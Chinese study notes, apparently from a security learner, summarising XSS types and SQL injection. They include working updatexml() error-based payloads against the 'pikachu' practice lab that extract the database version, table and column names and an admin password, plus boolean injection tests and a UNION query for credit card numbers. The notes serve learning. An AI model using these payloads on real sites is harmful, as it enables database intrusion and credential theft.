本周总结:
xss
XSS(跨站脚本攻击)是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
XSS按照利用方式主要分为:反射型XSS、存储型XSS、DOM型XSS。反射型XSS是攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行,这种XSS即存储型XSS,非常危险,容易造成蠕虫,大量盗窃cookie。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞。
一些基本检测:<>"'script onclick 检测尖括号,单引号和双引号有没有被过滤
SQL
sql是操作数据库数据的结构化查询语言,网页的应用数据和后台数据库中的数据进行交互时会采用SQL。而SQL注入是将Web页面的原URL、表单域或数据包输入的参数,修改拼接成SQL语句,传递给Web服务器,进而传给数据库服务器以执行数据库命令。如Web应用程序的开发人员对用户所输入的数据或cookie等内容不进行过滤或验证(即存在注入点)就直接传输给数据库,就可能导致拼接的SQL被执行,获取对数据库的信息以及提权,发生SQL注入
updatexml()
zrtonnn' and updatexml(1,concat(0x7e,version()),0)#
zrtonnn' and updatexml(1,concat(0x7e,database()),0)# 可以用来查询数据库
0x7e是~ version()版本,可以用来查询版本 #用来注释掉后面的内容
#报错只能一次显示一行
zrtonnn' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0)#
可以使用limit一次一次进行获取表名
zrtonnn' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0)#
如果我们想要得到第二个表名呢
zrtonnn' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 1,1)),0)#
将limit后面的修改为1即可得到第二个表名
获取到表名后,在获取列名,思路是一样的
zrtonnn' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='pikachu' limit 0,1)),0)#
获取到列名后,再来获取数据:
zrtonnn' and updatexml(1,concat(0x7e,(select password from users where username='admin' limit 0,1)),0)# //获取密码
zrtonnn' and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0)# //获取用户名
判断SQL注入是否存在注入点,我们可以通过构造payload,多次尝试,看看是否能够遍历数据库
例如:
anyouzhen" or 1=1# (猜测后端代码为双引号)
anyouzhen' or 1=1#(猜测后端代码为单引号)
anyouzhen' and 1=1# 恒为真,与单独输入anyouzhen效果一样
anyouzhen ' and 1=2# 如果返回值为空,说明这玩意确实被带入到数据库中进行拼接了,存在sql注入漏洞
也可以输入特殊字符,例如输入:' 看看会不会报错,如果报错,说明代入到数据库中去了
GET 注入
提交数据的方式是 GET , 注入点的位置在 GET 参数部分。比如有这样的一个链接http://xxx.com/news.php?id=1 , id 是注入点。
POST 注入
使用 POST 方式提交数据,注入点位置在 POST 数据部分,常发生在表单中。
Cookie 注入
HTTP 请求的时候会带上客户端的 Cookie, 注入点存在 Cookie 当中的某个字段中。
HTTP 头部注入
注入点在 HTTP 请求头部的某个字段中。比如存在 User-Agent 字段中。严格讲的话,Cookie 其实应该也是算头部注入的一种形式。因为在 HTTP 请求的时候,Cookie 是头部的一个字段
联合查询
$id =1 UNION ALL SELECT creditCardNumber,1,1 FROM Table